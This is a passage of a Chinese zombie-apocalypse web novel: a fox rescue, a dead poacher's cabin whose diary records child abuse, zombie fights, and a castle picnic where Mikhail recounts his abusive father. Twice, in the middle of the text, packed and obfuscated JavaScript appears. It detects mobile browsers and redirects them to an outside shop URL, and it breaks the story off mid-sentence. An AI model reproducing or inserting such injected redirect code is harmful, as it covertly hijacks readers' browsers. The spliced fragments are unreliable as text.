尾巴一圈缠着脚,睁着一双湿亮的眼睛看着他们。 这下白睨有些为难了,“唉……这要是哪个人准备抓来吃的,我们把猎物放跑是不是不太道德?” “不一定。”米哈伊尔捏起一点坑沿的泥土,在指尖轻轻一搓,干灰色的尘末随即散落。他随意在腿上拍拍,抬眼看她,“这些土不是新翻的,至少有一阵子了。” 一旁的野狐狸绕着白睨跑了两圈,用爪子轻轻刨地,又作匍匐状。同时坑下又传来低微的呜咽声,像是小兽在求救。红狐抖了抖耳朵,一下直起身,衔起旁边的肉条丢入坑中。 没有传来坠地的声响,只有一瞬短暂的寂静,更急促的嘤嘤声很快传出,和大狐狸的声音你呼我应。 话说这里怎么会有陷阱呢? 白睨环顾周围,绕过几棵树往更平坦的野地走去,不停用手电光扫着。忽然眼睛被一片光闪了下,仔细一看,黑暗中隐隐显出一个小屋的轮廓。 她赶紧叫上米哈伊尔往小屋去,走了几步,感觉脚边毛茸茸的,低头一看是狐狸跟上了。 小木屋在交叠的树影中慢慢显形,刚才反光的是屋顶的铁皮。空地上停着一辆破旧卡车,车窗蒙着厚厚的灰,后座堆着木材,有些已发黑霉烂;车尾旁的圆木桩上嵌着一把斧子,刀刃上锈迹斑斑;门边,晾衣架已经倒塌,衣服散落一地,被灰尘掩去了原本的颜色。 米哈伊尔把耳朵贴在门上,没听到动静,便抬手敲门,哪知刚敲一下,门就自己缓缓开了。 一股怪味扑面而来。米哈伊尔捏住鼻子,伸手在墙边摸索,没摸到灯开关;白睨用手机扫到门边的小柜,上面摆着一盏油灯,赶紧用打火机点上,才有了第一簇光亮。入门就是厨房,空气里弥漫着腐烂的气息,几只苍蝇直往他们脸上扑。 二人强忍着恶心,点燃了墙壁上的油灯,又从厨房里找到了几只蜡烛,房子里才光亮了些。 他们确信屋里没有人了,起码没有活人。厨房台面上剩了些蔬果残渣,飞蝇和甲虫四处逃窜;灶台上摆着一口锅,汤汤水水黑得五彩斑斓,多看一眼就要中毒。 米哈伊尔用力扇了空气几巴掌,“还是我们有素质,退房前都给打扫干净了。” 是打扫得很干净,连整栋楼一起“打扫”了。 白睨紧紧闭着嘴巴,把领子拉高了些。脚边,红狐狸似乎也被这股味道熏得不轻,一声不吭,疯狂地抖动耳朵躲避飞虫的骚扰。 二人一狐速速离开厨房。其他房间的情况好太多了,没有被虫灾波及到,透露着清冷的气息。白睨和米哈伊尔一路开门检查,直到打开最后一扇门,两个人都惊在原地。 墙壁上,一双双眼睛正无声注视着他们。大大小小的动物标本悬挂或摆放在房间四角:灰兔、獾、野猪、狐狸、鹿……玻璃眼珠镶得异常逼真,皮毛油亮,像还未彻底死去。 房间中央,一张大桌上铺着摊开的毛皮,爪尖早已干枯蜷曲,狼首突起,嘴角钉着铁丝,维持着狰狞的笑。 17.林中陷阱(三) 白睨注意到桌上还放着一本皮革笔记本,翻开一看,写的都是打猎和毛皮处理的工作记录,字迹歪歪扭扭,像小孩刚学会写字。笔记本被写了大半,最后一篇的时间戳停留在两个月前,危机爆发的当天。 “偷猎者的家?看来外面那陷阱应该是这人做的了。” 白睨合上笔记本,瞥见米哈伊尔正拿着那张狼皮翻来覆去地看,“喜欢就拿走呗,说不定冬天能用上。反正现在人类也从食物链下来了,说不定未来全都过上原始生活。”之前留下那张羊毛皮也是白睨想有件保暖材料,以备不时之需。 “不是那个问题。”米哈伊尔摇了摇头,把毛皮放回桌上,“这张太小了,我穿不下。要用还得裁和缝,太麻烦了。” 白睨无语,上下打量他一番,最后道:“先提醒你,本土野熊早就灭绝了,鉴于我们应该不会路过动物园,你最好还是先找件小的。” “……”米哈伊尔沉默,“我去隔壁卧室看看,说不定有合适的衣服。” 白睨点点头,注意力被脚下的动静吸引了。那只毛茸茸的动物正用爪子刨她的鞋子,见她终于看向自己,叼住她的裤腿往外面扯。 “别急别急,我还得有工具才能把它弄上来啊。”白睨小心翼翼地救下自己的裤子,绕着这间工作室走了两圈,喃喃自语,“这里工具这么多,哪个能把你的同伴带上来呢。” “嘤嘤~” “这个?”白睨试着抓起一块靠在墙角的长木板,有些沉重,又摸了摸表面的光滑纹理,最终还是摇头,“太滑了,不好爬。” 她转身拉开储物柜,理了理里面杂乱堆放的东西:工具箱、钉耙、镰刀、几团捆好的绳索……没有一个能用的。 白睨遗憾地把绳子放回原位,“砰”地关上柜门。一旁靠着的杂物被震得松动,一根细长的东西滑落下来,掉在地上。 她低头一看,眼睛顿时亮了。 “网兜?” 她捡起那根网竿,抹去上面的灰尘。竿子长度将近两米,末端的网兜虽旧,但绳结紧实,没有破损。 白睨轻轻晃了晃杆子,手感还算稳固。她想起以前看过的那些解救流浪动物的视频,志愿者就是用类似的工具把困在下水道或塌方地的猫狗套上来的。 这个办法或许可行。 狐狸显然不喜欢这工具,对着尼龙网兜又扑又啃的。白睨忍不住轻笑出声,故意摇晃竿子逗它,“放心吧,今天这东西是用来救你们的。但以后可就说不准了,你记得躲远点。” “嗷~”狐狸不依不饶地叫了一声,干脆用黑手套压住网兜,低头猛啃。 “哎!我还要用呢!” 白睨正和狐狸上演拉锯战,房门忽然被撞了一下,露出一个高大身影。 男人换了件衣服,显然是原屋主的,深色格子呢绒衬衫的袖口已经磨得发白,外面套着脏兮兮的粗布猎装马甲。白睨注意力主要在他头上,也不知道米哈伊尔从哪儿找来一顶兽首头套,獐子整张头皮连耳朵和半截颈皮都被完整保留下来,嘴下弯着两根发黄的长牙。 “……万圣节还很远吧?” 白睨抽了抽嘴角,把网兜从狐狸嘴里扯开,对着米哈伊尔晃了晃,“你从哪儿找的这套衣服,不是不喜欢穿破烂吗?洗了才能上车。” 男人没有回应,只是慢慢朝工作间里迈了一步。 “嗷——嗷——”狐狸突然炸毛,前肢压低脊背绷成弓,露出尖锐的犬齿发出啸叫。 “米哈伊尔?” 白睨立刻感觉到不对劲,把竿子抵在身前。 “吼——!”一声低沉的咆哮震出头套,高大身影猛然前冲,白睨这才看清他的手——皮肤灰白,指甲破裂,布满青黑的筋脉。 长竿往前一推,丧尸被顶了个踉跄。白睨随即把竿一甩俯身遁去,几步绕桌一周,趁丧尸还未反应过来捡起地上的棒球棍,绕后一窜,用力敲在它脑袋上! 咔嚓。 空气中传来碎裂的声响,但那凹陷的獐头却扭了过来,挖空的眼洞锁定在她身上。 白睨一怔,只一瞬那身影已猛地扑至身前,一股野蛮的冲力砸在胸口,她眼前一花,整个人重重摔倒在地,后背砸在木地板,胸腔一震,险些喘不过气来。 “米——” 声音戛然而止,丧尸如一只巨兽压下来,死死锢住她四肢,腐烂腥臭的气味隔着皮毛传来。白睨屏住呼吸,身子僵硬,与窟窿里灰白的眼珠对视。 獐子的头颅垂下,仿佛一把沉重的锤子,一下一下砸在她锁骨上。獠牙戳着她的肩膀,白睨咬着牙一动不敢动,但在这诡异场景中,疑问浮现: 怎么不咬? 嘴呢? ……嘴被挡住了。 白睨眼神一凛,伸出双手死死按住它的头套,同时用脚蹬地,拼命往后爬,试图挣脱。 像是察觉猎物要跑,丧尸怒吼一声,一头槌狠狠砸下!“砰”的一声,白睨眼前骤然一黑,星光四散。 “嗷!”小兽纵身一跃,张口啃在丧尸脖颈处,纵使利牙刺入皮肉,对方却不为所动,一把将其甩走。 丧尸又一头撞下,突然后领一紧,悬在半空。 “嗙!!”一股蛮力将其一甩,它往后飞去砸在案板上,挂钩和刀具哗啦掉了一地。沙包大的拳头呼啸袭来,连砸数下,獐头登时鼻歪口斜,牙崩骨断。 米哈伊尔骨节磨出了血,还欲再来一拳,一根棒球棍适时滚到他腿边。 “用这个!” 米哈伊尔已经抓起,挥出一棒! 两声碎裂同时响起,丧尸歪倒在地,不再动弹。 白睨松了一口气,趴倒在地。獐子头套带着硬骨,她脑袋经那一撞现在还嗡嗡作响。 伸来一只手臂握住她的肩膀,白睨被扶坐而起,听见米哈伊尔深呼一口气,“那玩意儿从哪儿冒出来的?” 地板上滴着几滴黑液,延伸到门外。可他们其他房间都检查过了。 难道是厨房? 她摸了摸自己脑门,有气无力,“不清楚,我还以为那是你呢。” 那块头都赶上米哈伊尔了。 果然不能让米哈伊尔变成丧尸。 男人挠了挠头,“我?我在卧室里找衣服。咳咳,以后还是不关门为好。” 白睨这才注意到米哈伊尔换了身衣服:一件宽大的旧羊毛套头衫,外罩防风油布夹克,下身穿了件厚帆布工装裤。虽然现在穿会热,但是挺适合冬天野外活动的。 比从学生公寓带出来的衣服好太多了,那几件紧绷绷得有碍观瞻。 “嘤~”腿边传来毛茸茸的触感,红狐狸在她腿边蹭蹭。想到它刚才也被摔了出去,白睨赶紧检查一番,好在它没受伤。 “今晚我真是遭老罪的。”白睨拍了拍它的脑袋,“等我们捞出你同伴,你最好真的能报恩。” “你找到工具了?” 点点头,她指向躺在地上的网兜,“试试那个,看能不能捞上来” 原本还算整洁的工作间,经这一番折腾变得乱七八糟,地上散落着各种工具,一不留神就可能绊倒。 白睨随手捡起掉在地上的工作手册,又看见那丑丑的字迹。之前没有细看,这次她发现有些记录里竟藏着话,便往前翻。 [下午把后院的柴垛重新码了一遍。爸爸说我码得歪,叫我蠢牛。] [中午晒獾皮,翻了三次,阳光不够,爸爸说晒不透会发霉。下雨了,他用酒瓶打我。] [晚上处理野兔的腿骨。爸说用小刀,我听错了,大锯子歪了。他打我耳光,我哭了,又被打。] [晚上爸爸教我做毛皮,我不敢,狐狸在看我。皮上破了个洞,他用烟头烫我三个印子,让我长记性。] [中午检查捕兽夹,抓到一只狐狸,我怕它还活着,等了很久才敢用棍子戳,它没动。] [爸爸说我写字难看,好几天没看我的记录了。] …… 白睨皱着眉,又往后翻到丧尸危机爆发当天,但只有工作记录。 [中午一个人做狼毛皮。做得很好,不会被骂。] “米哈伊尔,屋里可能有个小孩。” “什么?”米哈伊尔吃了一惊,“你怎么知道?” 她晃了晃手上的本子,纸张哗啦啦翻飞,几个大字在空白页间一闪而过,被白睨捕捉到了。 这页字迹比前面的潦草很多,看上去很匆忙: [爸爸变成了怪物 我也会变成怪物吗 我不想变成怪物] · 白睨和米哈伊尔在小屋里找了许久,还是没有看到其他人的影子。 不仅如此,连孩子生活的足迹都没找到,仿佛他从没存在过。 他们倒是发现那男人是从哪儿来的,厨房角落有一个大冰柜,但并没有通电,底下漏出腥臭的黑水,现在呈打开状态。他俩原本以为里面放着腐烂的食材,便没有打开查看。 实在找不到孩子,他们也没辙了,把找到的实用物资和准备带走的衣物暂且留在屋中,带上网兜先去解救动物。红狐狸早就等得焦急,跑在他们前头,“啊啊啊”地发电报。 树林很安静,如果不是有狐狸带路,他们大概找不到那个坑。 白睨还奇怪那小狐狸怎么没声儿了,就见大狐狸绕着坑转来转去,低头呼叫:“咿嗷、咿嗷——” 很快,坑底传来一声细弱的“嘤嘤”,像是带着哭腔的回应,软绵绵的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791911|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 米哈伊尔半蹲着把长竿伸进洞里,白睨打着手机手电筒,伸长脖子张望。 坑底的嘤嘤声一下安静了。竿子左探右铲,忽地往下一沉,似乎被什么东西压住了。 “抓住了?” 米哈伊尔眉头一皱,手臂微微吃力地往回收,却没直接拉上来,而是顺着竿子的角度往下压了压,“没有,它自己在往上爬。” 竿子长度不太够,白睨见他越来越用力地握紧长竿,手臂青筋暴起,长竿却危险地往下坠。 “白,”米哈伊尔咬牙,“狐狸有这么重吗?” 内心升起疑惑,白睨趴在坑沿,将光亮探向底下。 几乎在同一时刻,一直殷切探头张望的大狐狸突然后退,尾巴炸起,仰头“嗷嗷”急叫。 “米哈伊尔,”白睨声音突然颤抖,“松手。” “什么?”米哈伊尔探头望去。 光在深坑中一晃,照亮一张惨白的脸。 一颗腐烂的眼珠挂在鼻梁处,另一颗眼球毫无焦距,却直直朝上盯着他们;毫无血色的僵硬面孔上,鼻孔、嘴角满是污血,顺着皱纹干涸成一道道黑痕,仿佛是从地狱带来的诅咒印记。 “噶!!”伴随一声怒吼,那东西迅速往上窜! 米哈伊尔猛地一掷长竿,竿子落下,却好死不死地斜卡在坑壁之间。白光剧烈摇晃,再次投向坑中时,却见那“人”还紧紧扒着网竿,一手抓向坑壁,试图往上攀。 一道黑影划破空气——白睨掷出的平底锅重重命中目标,发出沉重钝响。丧尸身子一歪,如巨石从竿子上翻落,坠回黑暗深渊中。 事情发生得太快。 林中一片寂静,坑洞里不再有任何声响,不管是丧尸的嘶吼声,还是狐狸的嘤嘤声。 大狐狸慢慢小步上前,用湿润的鼻子在坑沿蹭了蹭。 “嘤……” 白睨看着那黑黢黢的深坑,似乎有股寒意从坑里弥漫上来,顺着她的脚踝爬上脊柱。 另一只狐狸还在吗? 或者……坑里在叫的,真的是另一只狐狸吗? 她与米哈伊尔的目光短暂交汇,看见了彼此眼中的震骇和猜测: 这只丧尸,会模仿动物的叫声。 刚才光线晃到的一幕撞进白睨脑海,那丧尸穿着猎户服,虽然身手矫健,但发根斑白,明显岁数已大。 他才是那个猎人父亲。 · [早上检查陷阱,抓到一只小野兔。它还很小,我的房间给它很大。] [我太大了,兔子扁了。爸爸笑了好久,我回到房间哭。爸爸在外面踹我,声音很大。] 冰柜空间很大,但一个成年人躺在里面,又十分拥挤。男人侧身蜷曲,双臂自然搭在腿上,仿佛一头冬眠的野兽。破碎扭曲的獐首仍套在他头上,盖住了五官。 白睨合上笔记本,把它放到冰柜的角落,然后看米哈伊尔合上盖子。 不管是挖坑还是焚烧都太耗费时间和精力,二人最后决定把他放回这里,起码不会暴露在外任由野兽啃食。 “你确定一件也不带走吗?”白睨拎了拎布包,里面装着他们从屋子里翻出来的猎枪、弓箭、狼牙棒、打火石和几圈铁丝,沉甸甸地压着手臂。米哈伊尔一把将包扛在肩上,摇头。 “算了,路上总能找到商店,要么等秋天打猎吧。这里的东西晦气。”没有停顿,他径直走出屋门,像要把什么东西甩在身后。 她走出房门,在前庭看见一团灰红的毛茸茸。大狐狸在丧尸被砸下坑后就变得很安静,刚才一直不愿意进屋,固执地守着坑洞。 现在它小步走来,哼唧着蹭白睨的裤子。 她摸了摸它的脑袋,感觉触感不像想象中那么柔顺,“要和我们走吗?” 狐狸显然听不懂这句话,最后贴了贴她的掌心,便一瘸一拐地离开,消失在灌木丛中。 白睨故作惋惜地砸砸嘴,米哈伊尔瞧见了,“怎么,你不会还想养它吧?” “我还以为要演变成经典末日配置呢,主角开局一条狗那种。”她用手背贴着脑门,感觉好像肿了个包,“其实我还挺喜欢动物的。” 结果肉干没了,狗跑了,自己挂了彩。什么叫赔了夫人又折兵啊。 米哈伊尔嗤笑一声,从包里抽出一杆猎枪,枪身黑沉沉的,光滑发亮,“要狗有什么用,还是枪实在。” “啧……也行吧。” 二人离开了树林,走向公路。 · “You know, ‘bears’… we also call them ‘dog-bears’.”(你知道吗,我们那边的熊也叫狗熊。) “Bai…”(白……) 18.古堡野餐(一) 白睨三指扣弦,箭矢瞄准那摇晃的身影。 下一秒,箭脱弦而去,丧尸后仰倒地。 “三个,还不错。”旁边的米哈伊尔支着下巴,“再翻一倍就能赶上我了。” 白睨翻了个白眼,“你这不是欺负人吗?丧尸一出来你就射得只剩三只,我上哪儿再找三只?” 此处前不着村,后不着店,孤零零立着一座加油站。倒是能看到远处有城镇的踪迹。可能考虑到这是附近唯一一个供应点,加油站虽然小,也配了一家便利店。 二人蹲跪在房车顶上,一人一把弓。几只丧尸倒在距离车子十米外的距离,姿势千奇百怪,脑袋插花。 他们之前打了个赌,用喇叭把丧尸吸引出来后比赛射箭,谁射得少就得满足另一个人提出的要求。当然,因为米哈伊尔是师父,不得用惯用手。 米哈伊尔没提前说的是,他曾经伪装成断臂残疾人长达一年,严格意义上来说,早没有所谓惯用手了。 “那是你手慢,反正我赢了。”他挑了挑眉,“你比我少三个,按照说好的,我可以提出三个要求。” “随便,什么赢不赢的。”白睨收起弓,不以为意,“你有什么要求?” 他们现在轮流开车打扫做饭洗碗,空间共用物资共享,还能提什么要求?难不成让她唱首歌儿? 米哈伊尔思索了一番,一时间还真没想出什么值得提的,“先记着吧,等以后我想好了再说——啊,我想到一个,你得允许我往茶水里加果酱。” “?想都别想。” “噶——” 二人聊得火热,差点没注意到便利店门口走出的一只丧尸。它穿着加油站工作制服,体型肥硕,每走一步,下巴的赘肉就抖两抖。 白睨当机立断举起弓箭连发三箭,两发中胸一发中头,丧尸如肉山轰然倒下。 “两个要求。”白睨皮笑肉不笑,对米哈伊尔伸出两根手指。 “你明明很在意啊。” 便利店里的食物还剩有不少,白睨将泡面、饼干、巧克力、水果燕麦、果汁、口香糖等食品扫进手推车,又拿了些电池、手电筒、雨衣、卫生棉和纸巾。米哈伊尔做完汽车加油和保修工作,回到便利店里时顺手拿了几瓶伏特加。 白睨刚把两盒能量棒放进手推车,抬头见着他手里的酒,眼皮跳了跳,“这时候还想着过酒瘾呢?” “怎么会,”米哈伊尔抱着酒瓶子,咧嘴一笑,“你不知道伏特加也能当消毒酒精用吗?” “你最好真把它们留到当酒精用的时候。” “放心吧,我从来不过量饮酒。” 他们把找到的物资收进房车。车顶架起了大作用,白睨将一部分生活用品装进收纳包,将其绑在架子上,车顶便也成了行李区。 利用加油站里的工具,米哈伊尔准备在车尾上装几个挂钩,可以挂住原本放在车顶的自行车。白睨决定以后这就是挂晒衣物的区域了,和家里的跑步机动感单车一个原理。 “白,”米哈伊尔抬起头,嘴角还叼着颗螺丝钉,说话含混不清,“你找找有没有捆绑带。” “行,我记得前台好像有捆带子。”白睨回到便利店翻找,果然在柜子里找到一卷捆绑带。 站起身想拿去给他,一抬头,就看见米哈伊尔脱了外套,挽起袖子,紧身衣料绷在宽厚的肩背上,线条清晰得像随时要崩开。 不知怎地,她想起那天米哈伊尔丢了衣服,头也不回地走出小屋的背影。 那天之后,两人表面上相处如常,可白睨还是察觉出了细微的不同。以往米哈伊尔堪称“讨伐型人格”,嘴欠,时常抽风;可这几天不仅说的话少了,眺望窗户的时间也变久了,竟生出一丝文艺青年的气质。 这很不正常。 但她向来不擅长和别人掏心掏肺,更何况她现在还不确定问题出在哪里。毕竟米哈伊尔不讲梦话,躺后座睡觉的时候嘴巴闭得可严了。 她当然可以不管,自己本就是那种习惯独处的人,不追问,不干涉,是她一直以来的社交原则。别人的情绪在她看来就像封闭的房间门,没人喊她进去,她就不会擅自敲门。 再说,一个末日游戏的角色有深埋内心的秘密不很正常?等某天PhantoChat的记录显示出他表现异常的原因,说不定才是她交流的时候。 可为什么自己感觉有些奇怪呢? 白睨随意拨弄着文件夹里的广告纸,带着一丝烦躁。 她的指尖忽然一滞,停在纸角上。 加油站外,米哈伊尔小心地把自行车挂在MPV尾部的挂钩上,用力下压试探了几次,确认稳固后才松了手。只差用捆绑带加固了,他一边摘手套,一边往便利店门口张望,不知为何白睨去了这么久。 刚想着,门就打开了。白睨大步走来,他还没问出声,对方刷地把一张广告纸展在他面前,占据了所有视线: “历史仍在回响——欢迎来到沃森尼克城堡(Worthenilk Castle)。” 广告插图是一座城堡的局部建筑,画面里有溪流有花园,古老而美丽。距离这里四公里。 “我们去这儿吧!” · 事实证明,在哪儿都可能遭遇广告诈骗。 旅游尤其如此。 米哈伊尔靠在车上,眯起眼睛,“这城堡……是挺有历史韵味的。” 白睨把那张广告单悬在空中,与面前的景象反复比对。 纸上的古堡在夕阳下金光灿灿,塔楼端正,草地如翠毯般延伸。 现实中,整座城堡只剩不到三分之一,山坡上的风呜呜穿过断壁残垣。灰黄色的墙体黏着斑斑点点的鸟粪,顶端呈现锯齿状裂口,像被狗啃过;有些建筑甚至只剩下两根孤立的石柱,仿佛随时会被下一阵风吹倒;护城河旁的栏杆只修了一半,贴着“注意安全”的黄牌,地上还躺着一辆灰头土脸的手推车。 这是哪一场战争的遗物? 历史的回响如她的沉默般震耳欲聋。 “先——先进去吧。”白睨深吸一口气,强迫自己对上米哈伊尔的眼睛。 几只鸟儿在古墙间来回穿梭,挤进石缝,好奇地探出脑袋打量许久未见的人类。 他们把车子停在沙砾地上,将防水布、烧烤器具和锅碗瓢盆搬出来。虽然城堡的模样与白睨最初的想象略有差距,但这里依然是个适合野餐的地方,因为可以就地取材。 他们先来到城堡的花园。所谓花园不过是铺着石径的草地和用几排木框围起的花圃,这里可能曾经种植着鲜艳的花卉,但现已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802266|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荒草萋萋。 白睨蹲在花圃边,手指拂过一丛低矮的绿植。其中几片叶子边缘参差不齐,呈细细的锯齿状,手指划过惹起一阵轻痒。她低头仔细辨认,认出这正是米哈伊尔教过她的野荨麻。 将这丛荨麻小心翼翼折下,她顺着花圃继续找寻,视线很快落在另一种熟悉的植物上。这种野菜的叶片上窄下宽,形似圣诞树,颜色鲜绿,背面附着淡淡的粉白。她记得这是灰灰菜,口感清爽微苦,也能食用。 采摘让她慢慢沉入某种安静的节奏中,脚步不知不觉绕到了院墙边。石缝旁的荆棘丛在阳光下投出杂乱的影子,她拨开枝叶,惊喜地看见几串深紫色的黑莓,在阳光下如同油润的小宝石。 她刚摘了几簇野果,耳边就响起“窸窸窣窣”声,米哈伊尔抓着一大把茎叶,靠着墙踏草而来。 “这是什么?” “酸模,你不是要做鱼吗?”男人晃了晃那把平平无奇的长条状绿叶,“这东西尝起来酸溜溜的,加在肉里能去腥。” 白睨确实缺去腥的香料,接过酸模放入盆中。 从花园往外走几步便步入一条小径,地势微微下沉,一条细窄的溪流从树影间穿过,最后缓慢地汇入护城河。溪水比河道干净许多,几尾细小的鱼在水草间穿梭,轻轻搅动明亮的水纹。 米哈伊尔挽了裤腿下去捞鱼,中途还逮了一只也在捞鱼的绿头鸭。 白睨留在岸上处理食材。先将采集到的野菜野果用溪水洗净,灰灰菜和荨麻留整片,酸模用小刀切碎,置于一旁。 接着,她从岸边捡了块光滑的鹅卵石,用溪水冲洗一番。将两盒苏打饼干倒入盆中,用鹅卵石捣碎成粉末状,取三分之二的饼干碎加入少许牛奶,揉作面团,派皮便准备好了。 将锡纸铺在平底锅里,将派皮在锅里按压出饼底和饼壁的形状,备用。 在汤锅里倒入牛奶煮沸,同时将小鱼掐头去尾剔骨,最后连同酸模碎一起倒入牛奶搅拌。奶浆散发出肉的咸香时,加入饼干碎,不断搅拌至浆糊浓稠。将浆糊倒入平底锅,撒上饼干碎封顶,咸味鱼派就可以上火烘烤了。 “白,不是可以烤了吗?你在做什么?” “做地地道道的鱼派啊。”白睨一边说着,一边把小小的鱼头插在派顶上,让它们露出半截,仿佛正从派里探出脑袋仰望天空。鱼看天,米哈伊尔看鱼,表情微妙得像吃到了屎。 “把那玩意儿从上面拿开,求你了。” 他的抗议无效,就像白睨每次吐槽他抽风时一样无效。 计划的配菜是烧烤。绿头鸭已经被米哈伊尔清理干净羽毛和内脏,处理起来很简单了。白睨轻车熟路地将其片成厚薄适中的段块,与野菜穿在不同的细签上,均匀刷上黑莓果酱,然后把它们整齐码在火堆两侧的石头上。 一簇簇火星在篝火下跳跃,签子支在石块上缓慢翻转,伴着滋滋的油脂声,烤肉的甜香和鱼派的奶香交织在一起。米哈伊尔深深吸了一口气,眯起眼睛,好像在用鼻子先行试吃。 “我听到鸭子和鱼说话了,它们喊着要伏特加作陪。” “那你去拿吧,拿了我们上楼。”白睨用一根细签插入锡纸,带出熟透的内馅,鱼派应该差不多了。 米哈伊尔动作一顿,没反应过来,“楼上?” 19.古堡野餐(二) 曾经的大塔楼如今只剩一方露天残骸,青苔杂草爬满红褐色的岩台,倚靠在深邃的窗壁;窗洞亭亭静立,将远方的风景截断为画卷。平野漫漫,夕阳如红艳水云中一轮浮动的圆盘,慢慢沉入暗线。 二人于窗洞旁面对面盘坐,将裹着的锡纸摊开。晚餐热气腾腾的,鸭肉串鲜嫩多汁,野菜卷也烤得酥脆,鱼派的奶肉馅如芝士一般饱满。 白睨切下一角鱼派,撇下鱼头,趁热咬了一口。奶浆绵密浓稠,裹着鲜嫩的溪鱼肉与微酸的野菜,搭配上松脆的麦香饼壳,口感丰富而有层次。 虽然她不喝酒,但感觉拿它下酒是极好的。 米哈伊尔显然也这么想,嘎嘣一下咬掉了酒瓶盖,一口酒一口派吃了起来。白睨评价其铁齿铜牙,同时在脑海里增加了一条“米哈伊尔不能变成丧尸”的理由。 “咕嘟咕嘟——噢!”男人灌了一大口酒,末了一抹嘴角,低笑道,“舒爽。” “也就今天能喝了。”白睨拿起一串野菜卷,咔嚓咬下,和吃海苔似的,“但也不要喝的烂醉如泥,我可没办法驮你下楼。” 黄昏尚未彻底隐去最后一抹红色,几颗微弱的星悄然浮现在天幕上。此处人烟罕至,自然没有丧尸,而且今夜无需赶路,白睨才许他喝酒的。 “放心,我从不过量。”米哈伊尔眼睛转了一圈,“起码不会在人前。” “怎么,你酒品很差?” “是啊很差,会一边唱歌一边拉着你跳舞。”米哈伊尔转着酒瓶看度数,“为了你的耳朵着想,我会只喝半瓶的。” 白睨回想起在公寓的时候,对方喝了一整瓶红酒也只是微微醺,“你酒量不错啊。” “和我拼过酒的人都这么说。”米哈伊尔得意地笑了笑,握着酒瓶子又灌了一大口,然后“碰”的放在石台上,发出一声“呃——”的喟叹。 她拿起一串鸭肉,在手指尖捻着旋转,没有下嘴,“这么想喝酒,上次在猎人屋里怎么不带点酒出来?”她可是看到那一橱柜的酒瓶了,随便拎两瓶都是年份不浅的烈酒。 此话一出,米哈伊尔的表情就变了,像是踩进了泥沼般厌恶。 白睨看着他的眼睛,“我感觉你这两天怪怪的。” “……有这么明显吗?” 米哈伊尔避开视线,挠了挠头发,“是无关紧要的事,所以觉得没有说的必要。” “哦……” “……” 白睨沉默,忽然伸出手,把鸭肉串递给他,“那继续吃吧。” “……?” 米哈伊尔愣愣地瞪着那串烤肉,好一会儿才抬起头,嘴角抽搐,“你不该问我到底发生了什么吗?” “那你倒是说啊!” “我不知道怎么开口啊!”米哈伊尔一蹬脚,气得龇牙咧嘴,“对我有点耐心,让我捋捋思路成吗?” 白睨叹一口气,点点头,“你说,你说。” 米哈伊尔一把抢过她手里的肉串,两三口全部叼进嘴里,也不看白睨,嚼了半天,才道:“那家伙让我想起我父亲。” 白睨没出声,看他摩挲着酒瓶,眼神落在远处。 “确实没什么好说的,就是那种很糟糕的父亲。”米哈伊尔握起酒瓶,瓶口靠在嘴边但没有喝。 “他原本是个机械维修工,脾气暴躁,动不动就跟客户打架,打一次就丢一份单。来的客人越来越少,钱也越来越少,到最后干脆不干了,要么在家喝酒,要么出去赌博。” “其实喝了酒还好,他砸东西的准头会下降,跑也跑不利索。他不是那种酗酒才发疯的人,暴力长在他骨子里,越清醒下手越狠。我小时候巴不得他永远醉着,每次他让我去买酒我都跑得飞快。上学的时候我干过不少零工,工资大部分都拿去给他买酒。” 他收回视线,“先别露出那种眼神,这故事有个好结局。” “什么?” “他喝死了,在我十五岁的时候。”米哈伊尔笑着,这才喝下一口酒,“然后我去了孤儿院。” “……孤儿院吗?” “嗯,不好不坏的地方,有饭吃,有地方睡,但拉帮结伙和吵架打架是常有的事。那时候我可让院长头疼了。”他顿了一下,“如果你见过那时候的我,可能也会觉得有其父必有其子。” 记忆中那所谓的父亲的脸已经模糊了,但那身臭烘烘的煤油味却像霉菌一样黏在记忆深处。偶尔当他路过修车铺、废弃厂房,甚至只是加油站,恶臭的霉菌就从他的鼻腔、喉咙里冒出来。 “不过这件事也有个好结局,”米哈伊尔低头擦了擦嘴角的酒,“成年后我成功入伍了。” 他说得轻描淡写,好像那是一件顺理成章的事。“我那时候很能打,身体素质不错,又会看人脸色,教官们都喜欢我。军队的生活讲究纪律和集体,对我反而是个轻松的地方。跟着父亲的时候我最讨厌和人打交道,进入部队我才发现自己挺喜欢社会联系的。混着混着,就转去特种部队了。” “所以我说我运气一直很好。”他又拿了一串烤肉,“每次过得很糟糕的时候,总能碰上点什么把我拉出去。” 白睨沉默良久,终于出声:“如果你真的是你父亲那种人,就算命运给你那么多次机会,你也不会抓住。” 她垂下眼睫,看着手中早已冷掉的鱼派,轻声道: “能活到现在,并不是运气好,是你自己爬出来的。” 米哈伊尔眨眨眼,突然爆笑出声,尽管那笑声有些过于响亮了。 “你笑什么?” “因为你在一本正经地夸我啊,这太稀奇了。” “?在你心里我很恶毒吗?” “怎么会。我不是觉得好笑,我就喜欢听别人这样夸我。” 米哈伊尔止住了笑,盯着她良久。最后,握着烤肉串与她手中的鱼派轻轻一碰,像碰了酒杯,“敬活下来的我们。” · 乡野的星星很亮,就和白睨现在清醒瞪着天的眼睛一样明亮。 如果要回房车睡觉,必然得有一人趴在方向盘上睡。他们干脆在这宽敞的塔楼顶上铺开防水布,就地躺下,以天为盖地为床。 虽然旁边的米哈伊尔打着鼾,但很可惜,白睨知道他没睡。 